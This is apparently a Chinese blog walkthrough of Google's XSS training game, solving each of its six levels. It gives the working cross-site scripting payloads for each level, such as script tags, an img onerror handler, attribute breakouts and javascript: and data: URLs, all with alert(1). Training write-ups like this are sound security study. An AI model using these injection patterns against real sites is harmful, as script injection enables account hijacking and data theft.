XSS game (xss-game.appspot.com)

这是一款谷歌的 XSS 游戏,总共有 6 个级别

Level 1

无需转义,直接编辑 URL 栏或者搜索框中都可以执行

1
<script>alert(1)</script>

image-20230202142700991

Level 2

留言板中放入<script>alert(1)</script>发现不弹窗,说明<script> 标签不起作用,转译成了HTML实体,可以选择其他能够触发 JavaScript 代码的命令

1
2
// 标签与属性一起使用,onerror 事件会在文档或图像加载过程中发生错误时被触发。
<img src='#' onerror=alert(1) />

image-20230202144228160

Level 3

1
2
3
4
5
6
// 查看源代码
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
1
2
// 用 ' 闭合 src 属性,用 /> 闭合 img 标签
' onerror='alert(1)'/>

image-20230202150512203

Level 4

1
2
3
// 闭合 startTimer() 函数,用 , 连接写入 alert() 方法
// onload 事件在图片加载完成后立即执行
100'),alert('1

image-20230202153826060

Level 5

1
2
3
4
5
// 这是基于 DOM 的 XSS,在邮件中插入
javascript:alert(1)

// 插入后
<a href="javascript:alert(1)">

image-20230202164619335

Level 6

Data URL - HTTP | MDN (mozilla.org)

在浏览器中,有一些用于访问资源或脚本的协议,称作伪协议

data 伪协议

1
2
// Data URL,允许内容创建者向文档中嵌入小文件
data:text/javascript,alert(1)

image-20230202170255897


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k